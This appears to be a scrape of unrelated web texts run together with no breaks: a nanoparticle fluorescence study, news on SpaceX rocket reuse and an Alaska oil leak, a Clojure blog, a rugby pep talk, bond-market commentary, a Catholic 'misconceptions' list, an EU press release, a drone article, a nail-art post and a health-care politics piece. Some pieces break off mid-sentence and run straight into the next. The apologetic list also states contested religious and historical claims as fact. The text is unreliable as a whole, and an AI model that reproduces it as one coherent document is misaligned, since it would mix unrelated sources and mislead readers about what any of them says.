An additional investigation into the asymmetric nature of the patterned AuNP, NP10-Asym, was carried out using the TEM data for the trimer species T2 and AB. The presence of four unique binding sites on NP10-Asym allows the positioning of two smaller nanoparticles in either adjacent or opposite relative positions. This produces a different spacing of the nanoparticles and angle between them, which can then be measured experimentally from the TEM data. A good correlation was found between the calculated and observed angles, which further confirms the retention of asymmetry of the patterned AuNPs. A full statistical analysis of angle measurements is given in Supplementary Section VIh and Supplementary Figs F24 and F25.
To further investigate the sequence specificity imparted to the NP10-Asym particles, a fluorescence assay was employed. A ‘barcoded’ particle with four different dye-labelled DNA strands was generated. Two fluorophores were used; 6-carboxyfluorescein (6-FAM) and cyanine 3 (Cy3), which have discernible excitation/emission properties. We synthesized four 5′-dye-labelled DNA sequences a′–d′, Cy3-a′, Cy3-b′, 6-FAM-c′ and 6-FAM-d′. Incubation of 1.5 molar equivalents of fluorophore to each unique binding site on NP10-Asym was carried out at room temperature for 12 hours. This was followed by three centrifugation and washing cycles, under native conditions, to remove any traces of unbound dyes.
Steady-state fluorescence spectra of the nanoparticle bearing all four dye-labelled DNAs, F4 in Fig. 6a, were measured and compared with control samples with the same concentration of free dyes in solution and in the presence of unbound AuNP, NP10(OEG). A decrease in fluorescence is seen in the presence of NP10(OEG) compared with the free dyes, which suggests some nonspecific binding. For the sample F4, a large decrease in emission is observed when the dye-labelled DNAs are bound to the nanoparticle by hybridization to their surface-bound complements. The fluorescence quenching observed is probably caused by both the AuNP and the close proximity of the dyes to each other47.
Figure 6: Fluorescence investigation of asymmetric patterning. a, Scheme showing the preparation of a fluorophore ‘barcode’ on the sequence-asymmetric NP10-Asym using Cy3- and 6-FAM-labelled oligonucleotides. b, Fluorescence emission spectra of 6-FAM free in solution, in the presence of NP10(OEG) and when bound to the AuNP in structure F4 (excitation, 490 nm). c, Spectra for Cy3 free in solution, in the presence of NP10(OEG) and when bound to the AuNP in structure F4 (excitation, 545 nm). d, Histogram produced from AGE analysis of sequential strand displacement of dyes from F4, finally to produce F0. The order of eraser strands added was: E a, E c, E b and then E d. This corresponds to an alternating removal of the two dyes starting with Cy3. The order of dye removal is shown under the graph. The resulting increase in fluorescence at each step was seen to be dye specific, through the sequence-specific eraser strands (refer to Supplementary Section Vi for additional details). r.f.u., relative fluorescence units. Full size imageSpaceX Reuses A Rocket To Launch A Satellite
Enlarge this image toggle caption SpaceX SpaceX
Updated 7:55 p.m. ET
The most expensive part of doing business in outer space is getting there. The private space flight company SpaceX thinks it can change all that, and Thursday's successful reuse of a rocket was a big test of its business model.
SpaceX launched a communications satellite from the Kennedy Space Center in Florida using a rocket stage that had already been to space and back. SpaceX is betting that this kind of recycling will lower its costs and revolutionize space flight.
The rocket landed vertically on a barge in the Atlantic Ocean a few minutes after the launch.
Enlarge this image toggle caption SpaceX SpaceX
The aerospace industry essentially has been throwing away its hefty rockets. Partway into orbit, the big, expensive first stage falls off and plunges back to Earth.
It's a unique business model within the transportation sector, says Bobby Braun, the dean of the College of Engineering and Applied Science at the University of Colorado, Boulder. He says to see how strange it is, imagine flying from Denver to Washington, D.C.: "When I got there, the airline wouldn't throw away that airplane and put me on a new one to bring me back a few days later," he says.
Braun says there have been attempts to reuse rockets before, most notably the space shuttle, which could be relaunched multiple times. But he says the shuttle was a complex machine that was expensive to run. "It required a standing army of people to keep it operational," he says.
SpaceX founder Elon Musk thinks that reusing the much simpler stages from his Falcon 9 rockets will also save money: "I try to tell my team to imagine that there was a pallet of cash that was plummeting through the atmosphere, and it was going to burn up and smash into tiny pieces, would you try |
the difficult semantics of CSS.
Hopeful partial solutions
Hoplon is a ClojureScript web framework. It does several interesting things.
It makes DOM elements into functions so they can be used in code like regular functions. It makes your elements reactive to changes like spreadsheets. It makes your client-server communication look like function calls.
It turns out that these three features together help a lot. And it gives a good foundation to build on. Let's see where this project goes.
I'm keeping my eye on this project. The premise is simple: if you just wrap all of your divs in two more divs (which you're probably doing a lot of anyway with wrapper and container and inner divs), you can "solve" layout with a bit of JavaScript. And those wrapper divs can be made automatically with a few more lines of code. It turns out that this is fewer divs than you would write if you did it by hand! I don't quite understand it yet but it's kind of exciting. I'm proud that this comes right out of the ClojureScript community.
Solve layout with a Cassowary constraint solver. It's a custom layout engine that is more expressive than CSS for layout. And it's got a declarative language for building the constraints. It definitely has the Bootstrap Mindset. You're still living in HTML + CSS, but it acts much more like you think it should.
I am awestruck by this project. It produced Practical Typography, a beautiful online book. The pages look like hand-tuned HTML by a seasoned professional web designer. The author wrote his own authoring format using Racket (a Lisp) that outputs to HTML + CSS. It definitely has the Bootstrap Mindset. It highlights the value of writing your own tools and that maybe the problem is that we haven't peeled back enough layers of the stack.
I mention React here for its philosophy and its potential. It managed to find a high-leverage abstraction to bootstrap out of error-prone DOM manipulations. That was a serious pain point of the web. And the same abstraction is being used on "native" platforms like phones and desktops. With React on the web, you're still living in HTML and CSS land, but it's way better than setting innerHTML by hand.
This is just a talk at Clojure/conj in 2015. He's talking about the stack he's using, but there's an important bootstrap embedded in it. He's bootstrapping on the web as a communication protocol. He defines a single endpoint that accepts POSTs and a Server Sent Events endpoint. The POST endpoint is for sending commands (capturing the intent of the user) and the Server Sent Events endpoint is for updates from the server. That's it. No more fiddling around with URLs and "routes". This is a true bootstrap. High-leverage and high-robustness.
Conclusions, a glimmer of hope, and a plea
Bootstrapping is a beautiful phenomenon. We can transcend our current limitations using nothing but our currently limited abilities. It is a wonderful expression of our humanity. However, are we investing our web apps with humanity? Or are we toiling away in the bracket mines, fixing our CSS, choosing how to name our wrapper divs, and solving problems, yet again, that we created?
The purpose of bootstrapping is to solve that problem once and for all, so that we can focus on what's important. We can take a long walk, or we can "fill [our creations] with ideas, and emotions, and humor, and warmth." (quoted from Reversing the Tide of Declining Expectations, Matthew Butterick, TYPO Berlin 2012.) We need to do that more than ever, for the world and for ourselves.
We live in an interesting time. I've been waiting for a long time to see how Clojure (or any Lisp, really) is going to transcend the web. It has so many great tools! And the community understands the Bootstrapping Mindset. Yet I haven't seen the bootstrapping happen. Can we make it happen? Can we peel back the layers and build an engine for expressing our humanity? What kind of expressivity do we want? Our imagination is the only limitation.
If you're interested in the Bootstrapping Mindset, the big ideas in Computer Science, or Lisp, you should check out the PurelyFunctional.tv Newsletter. It's a weekly romp through the history, present, and future of Lisp and functional programming.(Reuters) - Alaska officials reported an oil leak from an underwater pipeline late on Saturday that was within habitat designated as critical for endangered Cook Inlet beluga whales.
The leak originated from an eight-inch pipeline connecting two Hilcorp Energy production platforms in the Upper Cook Inlet. Hilcorp shut down both platforms following the leak and the pipeline is now operating at reduced pressure, the Alaska Department of Environmental Conservation (ADEC) said.
Hilcorp estimated that fewer than 10 gallons of oil have been released, but ADEC has not confirmed that figure, spill prevention and response director Kristin Ryan said on Sunday.
“We do not know if it’s still leaking,” Ryan said.
“The reduced pressure should minimize the amount being released from the leak and we have not seen sheening since that time, but we have not been able to confirm.”
Hilcorp did not immediately respond to a request for comment.
The population of belugas that swim off the coast of Alaska’s largest city was listed as endangered in 2008 by the federal government and more than 3,000 square miles have been protected as critical habitat since 2011.
The spill occurred in an area that is also home to other endangered mammals including the Steller sea lion and the humpback whale.
The ADEC has not seen any impact to wildlife yet. Three overhead flights were conducted on Saturday with no animals seen where sheening had occurred or near the pipeline, Ryan said.
The cause of the leak was unknown and being investigated, ADEC said. The line can hold 461 barrels of oil at full capacity.
Hilcorp last week shut two Alaskan oil production platforms after reducing pressure on a leaking natural gas pipeline in Cook Inlet. [nL2N1H50Z5]
The two incidents are unrelated, ADEC said.
The Center for Biological Diversity said in a statement on Sunday it had sent Hilcorp a 60-day notice of its intent to sue for the gas leak, and is monitoring the oil leak to determine whether additional legal action is warranted.
“We’re really worried about what this means for Cook Inlet belugas with the double whammy of an oil spill and gas leak in the same season,” Miyoko Sakashita, oceans program director for the Center for Biological Diversity said in an emailed statement.
Hilcorp has hired a diving contactor to investigate the line and make repairs and it is anticipated that this work can be conducted late next week, ADEC said.Now is the time: The Blues must wipe out any doubts heading into Origin I on Wednesday night. Credit:Getty Images The game plans, the trick shots, the structures, the tactics, the philosophies and the rehearsed plays – they will mean little to the overall result of this match. Most of that goes out the window pretty quickly in these Origin games. You will soon realise it’s a game of attrition, aggression, self-belief and, at times, even survival. This game will take you to fatigue levels never before experienced. It will take you to dark places in your own mind. The ability to control your own thoughts and to inspire the thoughts of those around you with your efforts is crucial. It’s about you. It’s not about them. It’s about a commitment to defence. It’s about the courage to stand your ground and the strength to deny your opponent easy passage. It’s the commitment to cover for your teammate, not just when you think it might be needed, but every time. You need to be there, just in case, every time. You might be there a thousand times and no one will notice you because you weren’t needed. But if you are not there on the one occasion you were needed, it will haunt you forever.
These games are won by tries saved rather than tries scored. Saving a try is better than scoring one. It’s about constantly putting yourself into the game. The number on your back is not a position to play on the field. It is an invitation to play anywhere on the field at any time. There is a lot to be said for a dummy and run. Don’t dump pressure onto a teammate by passing the problem onto him. Take the hit yourself. A good quick play-the-ball is always better than a wayward or rushed pass. Dig into them. Don’t accept a tackle. Never surrender. It will take extra effort to run with a teammate in support, to chase a kick all the way to the dead ball line and beyond, or to never give up on a run. These extra efforts, or second efforts, will be rewarded. It’s the willingness to get up when you are hurt, to scramble when you are tired, to take the tough run when your team needs it, to chase again even when you think you have no more in you – these are the things that will make a difference to the result.
The team that talks the longest wins. If a team goes quiet, it’s the same as hoisting a white flag. Play your part. Encourage with your words. Respond when teammates talk to you. Lead them with your actions. You can’t do it all yourself. You will need your teammates and they will need you. You have to be there for them. Be the man everyone else wants to be. I know this all sounds so simple. But the test of time has proven to us that these things, all of which have absolutely nothing to do with talent and absolutely everything to do with courage, will have more influence on the end result than which team might have the best players or the cleverest plays. Your chance of success in this match could well come down to answering one simple question. On one given night, in one 80 minute performance, can you give more of yourself in these things so can you have more influence on the result of this match than your opposite number?
You don’t have to be better than him for three days solid. You don’t have to be a better player than him for the rest of your career. You just have to be better than him on this one special night. Its 40 minutes of effort. Have a rest. Go for 40 minutes again. You have trained for this all your life. Everything you have ever done in your career to date has simply prepared you for this moment. So, on this one night, can you do it? I remember the preparations for game one in 2002. The newspapers and the critics had labelled our selected team as the worst NSW team in State of Origin history. They predicted disaster for our side. We had a game plan. We had tactics and plays. But we needed much more than just football. We needed attitude. We needed belief.
In a team meeting I pointed to each player and asked who was going to have more influence on this match: him or the player he opposed? I went around the room one by one. I didn’t wait for an answer from any player, I just moved on to the next player in the team. It was to provoke thought. To have them thinking about the challenge. The last player I came to was our fullback, Brett Hodgson. Brett was on Origin debut. His opposite number was Darren Lockyer, one of the greatest Origin players of all time and easily the best and most influential player in the Queensland side. I stared straight at Brett and asked the question: ‘‘Who will have more influence on this result – Brett Hodgson or Darren Lockyer?’’ At that instant, all eyes turned to look at Brett. It was an intense moment. In that split second I suddenly realised his response to this question might well make or break us. Brett looked me in the eye and said: “Me.” The experts were confidently predicting this match could well be the darkest day in NSW Origin history. I told them I believed this would be NSW’s finest hour.
We won the game 32-4. Brett Hodgson was man of the match. He made good on his promise. So, lads. It’s a simple question. On this one special night, who is going to have more influence on the result of the match? You or your opponent? Tony Williams or Josh Papalii? Ben T’eo or Anthony Watmough? Trent Merrin or Aidan Guerra?
Luke Lewis or Daly Cherry-Evans? James Tamou or Nate Myles? Robbie Farah or Cameron Smith? Aaron Woods or Matt Scott? Ryan Hoffman or Matt Gillett?
Beau Scott or Chris McQueen? Paul Gallen or Corey Parker? Trent Hodgkinson or Cooper Cronk? Josh Reynolds or Johnathan Thurston? Daniel Tupou or Brent Tate?
Michael Jennings or Justin Hodges? Josh Morris or Greg Inglis? Brett Morris or Darius Boyd? Who will have more influence on the result of this game – Jarryd Hayne or Billy Slater? You see, as readers scroll down this list and evaluate the head-to-head battles, they have already formed an opinion. It’s probably fair to assume that the vast majority of experts, commentators and fans would lean towards selecting your opponent rather than you as the man most likely to have more influence over the result of this match.
But here’s the thing. It doesn’t matter what other people think. It only matters what you believe. Go the Blues!The United States needs to borrow ~$1.5 trillion a year these days to fund its deficit. And the concern among most deficit hawks is that the cost of that borrowing will rise as the economy comes back to life and inflation fears mount.
So far, rates have remained stubbornly low. The Treasury is now trying to move its borrowing "out the curve," however--borrowing money for longer periods to lessen the risk of a short rate increase--and yesterday's Treasury auction didn't go well: Specifically, lenders demanded higher than expected interest rates for their money.
The Fed, meanwhile, is stuck keeping short rates at near zero to quietly recapitalize the banks. This combination has made the yield curve steeper than at any time in the past 29 years.
Bloomberg: Treasuries declined [on Friday], with the yield gap between Treasury 2-year notes and 30-year bonds reaching the widest since at least 1980 amid lower-than-forecast demand for the $74 billion in notes and bonds auctioned in the week.
Treasury 10-year notes fell for a second consecutive week as reports showed consumer confidence and retail sales rose more than forecast...
"We had sloppy 10- and 30-year auctions at time when there are less people in the market," said Larry Milstein, managing director in New York of government and agency debt trading at RW Pressprich & Co., a fixed-income broker and dealer for institutional investors. "The short end is locked in by the Fed and the long end is starting to see pressure from supply. Also, consumers are seeing some positive signs."
The spread between 2- and 30-year Treasuries reached 374 basis points on Dec. 10, the most in 29 years, as the U.S. sold $13 billion of the so-called long bonds in the last of the week's auctions.
Read the whole thing >
See Also: Brace For Hyperinflation Brace For Hyperinflation 2 Brace For Hyperinflation 3Having recently published our misconceptions list about Islam, I promised a commenter that I would also publish a list of misconceptions about the Catholic Church – of which there are millions. With this list I am honoring that promise. I have taken ten of the most believed or written about misconceptions about Catholics or the Church and debunked them (with evidence wherever possible). I certainly hope that you all find it interesting and readable.
10 Discourage Bible Reading
Misconception: The Church discourages Bible reading
The very first Christian Bible was produced by the Catholic Church – compiled by Catholic scholars of the 2nd and 3rd century and approved for general Christian use by the Catholic Councils of Hippo (393) and Carthage (397). The very first printed Bible was produced under the auspices of the Catholic Church – printed by the Catholic inventor of the printing press, Johannes Gutenberg. And the very first Bible with chapters and numbered verses was produced by the Catholic Church–the work of Stephen Langton, Cardinal Archbishop of Canterbury.
At every Mass in the world everyday, the Bible is read aloud by the priest. In the traditional Mass there is one reading from the general body of the Bible (excluding the gospels), and two from the Gospels. In the modern Catholic Mass, there are two readings from the general body of the Bible and one from the Gospels. All Catholic homes have a Bible and the Bible is taught in Catholic schools (as is its perennial tradition).
This myth has come about because Bibles were often locked away in Churches in the past, but that was not to prevent people having access – it was to prevent them being stolen. These were hand written Bibles which were incredibly valuable due to scarcity. Furthermore, people think the Church forbade people from reading the Bible by putting it on the Index of Forbidden Books, but the Bibles placed on the Index were Protestant versions (lacking 7 books) or badly translated versions – the most famous of which is the King James Version which Catholics are not supposed to use.
9 Idolatry
Misconception: Catholics worship Mary and are, therefore, committing idolatry
In Catholic theology there are three types of worship – one of which is condemned in the Bible if offered to anyone but God:
1) Latria – this is adoration which is given to God alone – giving this type of worship to anyone else is considered to be a mortal sin and it is the idolatry condemned in the Bible.
2) Hyperdulia – this is a special type of worship given to Mary the Mother of Jesus – it is only given to her and it is not considered to be idolatory as it is not adoration, merely reverence.
3) Dulia – this is the special type of worship given only to the saints and angels – it is also not idolatrous as it, too, is a form of reverence.
The distinction was made by the 2nd Council of Nicaea in 787 AD. The council was called to condemn the people who claimed that it was idolatrous to have statues and images of saints. The canons of the Council can be read here.
Just to clarify: “Latria is a Latin term (from the Greek???????) used in Orthodox and Catholic theology to mean adoration, which is the highest form of worship or reverence and is directed only to the Holy Trinity.” – there are lower forms of worship (as is implied here). A Catholic who may kneel in front of a statue while praying isn’t worshipping the statue or even praying to it, any more than the Protestant who kneels with a Bible in his hands when praying is worshipping the Bible or praying to it. The images of saints (whether it be in statue form or painting) serves as a reminder of the holiness of the person depicted.
8 Non-Christians
Misconception: Catholics aren’t Christians
In fact, Catholics are the first Christians. When reading over the early Christian writings, you can see clearly that their doctrines and teachings are the same as the Catholic Church today. You hear of Bishops, virgins living in community (nuns), priests, confession, baptism of infants, the Bishop of Rome as head of the Christian religion, and reverence for the saints. Here are some comments by the early Church fathers who were, in many cases, the apostles of the Biblical apostles:
Bishops: For it will be no light sin for us, if we thrust out those who have offered the gifts of the bishop’s office unblamably and holily. — Pope St Clement, Letter to the Corinthians 1, A.D. 96.
The Papacy: “[From] Ignatius... to the church also which holds the presidency, in the location of the country of the Romans, worthy of God, worthy of honor, worthy of blessing, worthy of praise, worthy of success, worthy of sanctification, and, because you hold the presidency in love, named after Christ and named after the Father” (St Ignatius, Letter to the Romans 1:1 [A.D. 110]).
Holy Communion: “This food we call the Eucharist, of which no one is allowed to partake except one who believes that the things we teach are true, and has received the washing for forgiveness of sins and for rebirth, and who lives as Christ handed down to us. For we do not receive these things as common bread or common drink; but as Jesus Christ our Savior being incarnate by God’s Word took flesh and blood for our salvation, so also we have been taught that the food consecrated by the Word of prayer which comes from him, from which our flesh and blood are nourished by transformation, is the flesh and blood of that incarnate Jesus.” — St. Justin Martyr, “First Apology”, A.D. 148-155.
Infant Baptism: “Baptize first the children, and if they can speak for themselves let them do so. Otherwise, let their parents or other relatives speak for them” (St Hippolytus, The Apostolic Tradition 21:16 [A.D. 215]).
Confession: “[A filial method of forgiveness], albeit hard and laborious [is] the remission of sins through penance, when the sinner... does not shrink from declaring his sin to a priest of the Lord and from seeking medicine, after the manner of him who say, “I said, to the Lord, I will accuse myself of my iniquity.” ” (Origen, Homilies in Leviticus 2:4 — A.D. 248)
From these quotes it is obvious that the practices of the modern Catholic Church are the closest to the practices of the apostles and early Christians. It should also be said that the majority of historians accept that the Catholic Church was the first Christian Church as it is verifiable from ancient texts.
7 Totally Infallible
Misconception: The Pope is infallible in all things
Roman Catholics believe that only under certain circumstances is the pope infallible (that is, he can not make a mistake). The Catholic Church defines three conditions under which the Pope is infallible:
I. The Pope must be making a decree on matters of faith or morals
II. The declaration must be binding on the whole Church
III. The Pope must be speaking with the full authority of the Papacy, and not in a personal capacity.
This means that when the Pope is speaking on matters of science, he can make errors (as we have seen in the past with issues such as Heliocentricity). However, when he is teaching a matter of religion and the other two conditions above are met, Catholics consider that the decree is equal to the Word of God. It can not contradict any previous declarations and it must be believed by all Catholics. Catholics believe that if a person denies any of these solemn decrees, they are committing a mortal sin – the type of sin that sends a person to hell. Here is an example of an infallible decree from the Council of Trent (under Pope Saint Pius V – 16th Century):
If anyone denies that in the sacrament of the most Holy Eucharist are contained truly, really and substantially the body and blood together with the soul and divinity of our Lord Jesus Christ, and consequently the whole Christ, but says that He is in it only as in a sign, or figure or force, let him be anathema.
The last section of the final sentence “let him be anathema” is a standard phrase that normally appears at the end of an infallible statement. It means “let him be cursed”. The most recent pronouncement that can be seen as falling under Papal Infallibility was when Pope John Paul II declared that women could not become priests.
6 Anti-Science
Misconception: The Catholic Church is opposed to science and rejects evolution
In fact, may great scientific advances have come about through Catholic scholarship and education. The most recent and interesting case is that of Monsignor Georges Lemaître (pictured above, center) a Belgian priest who proposed the Big Bang theory. When he proposed his theory, Einstein rejected it, causing Monsignor Lemaître to write to him: “Your math is correct, but your physics is abominable.” Eventually Einstein came to accept the theory.
Also, unlike many of the American Protestant or evangelical religions, the Catholic Church does not reject the theory of evolution. Right from the early days of the theory, the Church remained mostly silent on the issue. The first public statements specifically regarding evolution came from Pope Pius XII who said: “The Church does not forbid that…research and discussions, on the part of men experienced in both fields, take place with regard to the doctrine of evolution, in as far as it inquires into the origin of the human body as coming from pre-existent and living matter.”
In 2004, a Theological Commission overseen by Cardinal Ratzinger (now Pope Benedict XVI) issued this statement: “According to the widely accepted scientific account, the universe erupted 15 billion years ago in an explosion called the ‘Big Bang’ and has been expanding and cooling ever since. […] Converging evidence from many studies in the physical and biological sciences furnishes mounting support for some theory of evolution to account for the development and diversification of life on earth, while controversy continues over the pace and mechanisms of evolution.”
Catholic Schools all around the world (including the US) teach scientific evolution as part of their science curriculum.
5 Indulgences
Misconception: Indulgences let you pay to have your sins forgiven
First of all we need to understand what an indulgence is. The Catholic Church teaches that when a person sins, they get two punishments: eternal (hell) and temporal (punishment on earth while alive, or in purgatory after death). To remove the eternal punishment of hell, a person must confess their sins and be forgiven. But the temporal punishment remains. To remove the temporal punishment a person can receive an indulgence. This is a special “blessing” in which the temporal punishment is removed if a person performs a special act such as doing good deeds or reading certain prayers.
In the Middle ages, forgers who were working for disobedient Bishops would write fake indulgences offering the forgiveness of sins (removal of eternal punishment) in exchange for money which was often used for church building. Popes had been long trying to end the abuse but it took at least three centuries for the sale of indulgences to finally end. True indulgences existed from the beginning of Christianity and the Church continues to grant special indulgences today. Wikipedia has an excellent and honest article on the abuse of indulgences from the Middle Ages. You can read it here. Here is a BBC article on a new indulgence granted by Pope Benedict XVI in 2007.
4 Emperor Constantine
Misconception: Emperor Constantine invented the Catholic Church in 325 AD
In 313 AD, Emperor Constantine announced toleration of Christianity in the Edict of Milan, which removed penalties for professing Christianity. At the age of 40 he converted to Christianity and in 325 he convened the first ecumenical Council of Nicaea. Because of the importance of this council, many people believe that Constantine created the Church, but in fact there had been many councils (though not as large) prior to Nicaea and the structure of the Church already existed. Constantine was at the council merely as an observer and the Bishops and representative of the Pope made all of the decisions. Before the council of Nicaea, priestly celibacy was already the norm, baptism of infants was practiced (as were all 7 sacraments), and the structure of priests and Bishops was already 300 years old.
3 Priestly Celibacy
Misconception: Catholic Priests can’t get married
This has appeared on a previous list, but it is well worth including it here as well. In order to clear this one up, we need to first understand the nature of the Catholic Church. Within the universal Church there are sections (also called churches but not in the sense that they are separate) – the most common one is, of course, the Roman (or Latin) Catholic Church. Then there is the Eastern Catholic Church (not to be confused with the Orthodox which is a different religion). Both of these churches fall under the jurisdiction of the Pope and all believe the same doctrines. There are a lot of differences between the two groups but these are all in matters of style of worship and certain rules. In the Eastern Church, priests are allowed to be married – but a married priest can’t become a Bishop.
It also happens that occasionally in the Latin Church, pastors who convert from other religions such as the Church of England are allowed to become priests even though they are married, so married priests can be found in all parts of the Roman Catholic Church. Pictured above is a Greek Catholic priest and his wife. Don’t believe me? Here is proof. And here is more proof.
2 Modified Bible
Misconception: The Church added books to the Bible
The Catholic version of the Old Testament differs from the Protestant version in that the Catholic edition contains seven more books than Protestant Bibles. These “extra” books are the reason that many people consider the Church to have added to the Bible, but in fact these books were considered the official canon (list of books) by all Christians until the Protestant reformation during which Martin Luther (leader of the revolution) removed them. Interestingly some of these books contain affirmations of Catholic doctrines which Luther rejected. The reason that the Catholic Church uses the Greek edition is because the apostles used it exclusively in their preaching.
Luther decided to use the Jewish Masoretic canon (circa 700 – 1000 AD) instead of the Apostolic canon. The seven books he removed were: Tobit, Judith, 1 Maccabees, 2 Maccabees, Wisdom, Ecclesiasticus, and Baruch. While initially wanting to remove at least one book (The Epistle of James, because it contradicts Luther’s teaching that faith alone is needed for salvation [James Chapter 2]) from the New Testament, Luther ultimately decided to keep the Catholic New Testament in full.
Interestingly, Hanukah is mentioned only in 1 and 2 Maccabees, which is not included in either the Jewish or Protestant versions of the Old Testament.
1 Medieval Papacy
Misconception: The Papacy is a medieval invention
The Pope is the Bishop of Rome, and from the beginning of Christianity he was considered the head of the Church. This fact is alluded to in many of the early Church documents and even in the Bible itself: “And I say to thee: That thou art Peter [Greek for “rock”]; and upon this rock I will build my church” (Matthew 16:18). Peter was the first Bishop of Rome and he led the Church until his death in 64 AD, at which point St Linus became the second Pope. St Irenaeus mentions him here:
The blessed apostles, then, having founded and built up the Church, committed into the hands of Linus the office of the episcopate [office of Bishop of Rome]. Of this Linus, Paul makes mention in the Epistles to Timothy [2 Timothy 4:21]. To him succeeded Anacletus [third Pope, pictured above]; and after him, in the third place from the apostles, Clement [4th Pope] was allotted the bishopric. — Against the Heresies, 180 AD
St Irenaeus goes on to mention another six Popes and the various tasks they undertook during their reigns – such as the imposition by Pope Linus of the rule that women cover their heads in Church (a rule which, though often ignored, still exists today).
Follow us on Facebook or subscribe to our daily or weekly newsletter so you don't miss out on our latest lists.European Commission Press release Commission issues action call in Davos - with IT sector and telecoms companies - to close digital skills and jobs gap in Europe Europe faces up to 700.000 unfilled ICT jobs and declining competitiveness. The number of digital jobs is growing – by 3% each year during the crisis – but the number of new ICT graduates and other skilled ICT workers is shrinking. Our youth need actions not words, and companies operating in Europe need the right people or they will move operations elsewhere. Today, the Commission is issuing a call to action to companies, governments, educators, social partners, employment service providers and civil society to join us in a massive effort to "turn the tide". Young Europeans should have the tools to enter digital careers or to create jobs as entrepreneurs. European Commission Vice President Neelie Kroes said: "The digital skills gap is growing, like our unemployment queues. We need joint action between governments and companies to bridge that gap. The ICT sector is the new backbone of Europe's economy, and together we can prevent a lost generation and an uncompetitive Europe. So I am expecting concrete pledges by companies, everyone I meet will be getting the same request. The Commission will do its bit but we can't do it alone – companies, social partners and education players – including at national and regional level - have to stand with us." The Commission will collect pledges on new jobs, internships, training places, start-up funding, free online university courses and more. Companies such as Nokia, Telefónica, SAP, Cisco, HP, Alcatel-Lucent, Randstad, ENI, Telenor Group, ARM, as well as the CIO community, CEPIS (Council of European Professional Informatics Societies) and Digital Europe are in the first wave of those committing to act. On 4-5 March the Commission will include pledges received from partners and build them into the launch of a Grand Coalition for Digital Skills and Jobs at a major pledging conference. The conference is open to all who want to actively support this common cause. We seek active collaboration in areas like industry-led training, assisting labour mobility, certifying skills, improving school and university curricula, raising awareness, and creating an entrepreneur friendly environment for start-ups. One concrete area for action could be training vouchers. Successful German and Spanish voucher based training models provided jobs for 60-70% of the 20,000 participants and we should seek to replicate and scale up this idea on a European scale. Other key elements of the Coalition will include mobility assistance. Such assistance is likely to range from English language learning support to facilitating mobility for unemployed persons and standardised certification of skills, via a transformed eCompetence Framework available in all 23 official languages of the EU. In recognition of the job creation potential of web start-ups, the Commission is also launching Startup Europe, a single platform for tools and programmes supporting people wanting to set up and grow web start-ups in Europe. For more information Hashtag: #digitalskills Digital Agenda website Neelie Kroes' website Follow Neelie Kroes on Twitter Contacts : Ryan Heath (+32 2 296 17 16), Twitter: @RyanHeathEU Linda Cain (+32 2 299 90 19)The solar plane's software then scanned for the optical markers the team placed on the 13 x 16 foot mobile platform they attached on top of the car. As soon as the plane recognized the markers, it synchronized its speed with the car and touched down vertically like a helicopter. The agency says its system is accurate to within 20 inches, which will be extremely useful for smaller landing areas.
Since this method doesn't need a drone's landing gear, the team removed their test UAV's completely, bringing its weight down to 44 pounds. In real-world scenarios, doing that would allow drones to carry heavier payloads and to fly much longer, especially if they're solar powered. Also, the demo required the participation of a human driver who received commands on a screen. But in the future, a drone could be paired with a self-driving vehicle.
The aerospace center developed the technique especiallyfor solar drones that provide live updates during disasters, replace failed communications networks or provide data on climate change. We'll bet it could also be used for search-and-rescue missions, similar to the drone-truck combo DJI and Ford are developing to help UN's first responders.31 Day Challenge - Day 9 - Metallic Nails! - Scalloped Tips
Hello there!!! Today I bring you Metallic Day, or as it is known, Day 9 of the 31 Inspired Days of Nail Art Challenge! I own 10 different metallic polishes, including 2 crackles, so for me finding a polish was not going to be too difficult. As me to find a jelly though, it's nearly impossible in my collection.
When I sat down to do this manicure, I pulled out all 10 of those polishes and began staring. What did I want to do....how was I going to use more than one of these polishes and not make my nails look like an obnoxious shiny, metallic mess. I remember seeing in my Twitter feed that @MrsManPolish newest love for what The Daily Varnish calls Scalloped Tips. This technique is also known as the "cloud" manicure as seen on the blog nailside
I originally tried the technique with three metallics, and boy was it a barfy, metallic disasticure. So, I started searching my stash for a perfect colored cream that would look good with any of my metallics. The winner, Sinful Colors Rain Storm, an amazing dusty, medium blue. Let's take a look...
Funky Fingers - Zeppelin
Funky Fingers - Favorite Girl
Sinful Colors - Rain Storm
The next day I refreshed it with some matte top coat...check it (they kinda look the same but you can see it's flatter)
It is super easy to get this look!!!! Start with a base coat of whatever color you chose. Then with your second color, using the bottle's brush place it 3/4 of the way up the nail. When it starts to form a rounded drip, stroke the brush downwards. Then do the same 1/2 the way down, then the last 1/3rd of the way down. With your third color, do the same thing. If you want to have a more ruffled look, you could do this technique with as many polishes as you want. If my directions stink (which most likely they do) check out either The Daily Varnish's or Nailside's tutorials above!
Which look do you like better?? Shiny or flatter? I loved both equally, I seriously could not stop looking at these nails!!! I cannot wait to do this technique again! So simple and eye catching! Have you tried?
This is the 31 Inspired Days Challenge...don't forget to check out the other lovely ladies!!!!!
Colors Used |
a Trumpcare bill in late June, Fox News’ Lisa Kennedy Montgomery criticized progressive “hysteria” about the bill, which would’ve cost more than 20 million Americans their health care, since “we’re all going to die” anyway. Now the former MTV VJ has offered another hot take on the existing health care law: it’s all immoral.
Ignoring the well-understood connection between health coverage and lower mortality rates, Kennedy in June made an existential case for repeal.
“You know what, at least they are not employing any hyperbole at all. No exaggeration, no hysteria,” she said, in reference to liberal critics of Trumpcare. “You know what the crazy thing is? We’re all going to die. And they can’t predict — there’s no way unless they are absolutely psychic and have a party line to heaven, they don’t know who’s going to die or when or how many people.”
Less than three months later, Republicans face their last chance to repeal and replace Obamacare before their ability to do so with 51 votes temporarily ends. Like previous repeal proposals, the so-called Graham-Cassidy bill Republican senators are now pushing would have devastating consequences for Medicaid enrollees, people with preexisting conditions, and millions of others.
On Thursday, Kennedy made a case that senators have a moral obligation to repeal Obamacare anyway.
“I mean, the whole enterprise, all of Obamacare is immoral,” she said during Fox News’ Outnumbered. “All of Obamacare has resulted in human suffering. And all you have to do is look at someplace like Alaska, where people’s premiums have quadrupled since 2013.”
Kennedy’s claim about Obamacare causing “human suffering” is grossly exaggerated, both in Alaska and elsewhere. The number of people in the country who are living without health insurance hit an all-time low earlier this year. And while premiums on the individual market have increased since Obamacare’s major provisions took effect, the impact of that is offset when the premium tax credits received by roughly 80 percent of people who purchase coverage on the Obamacare exchanges are taken into account.
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As the Washington Post reported in June, when tax credits are factored in, there was a 1 percent decrease in individual market premiums in Alaska from last year to this year. The Post noted:
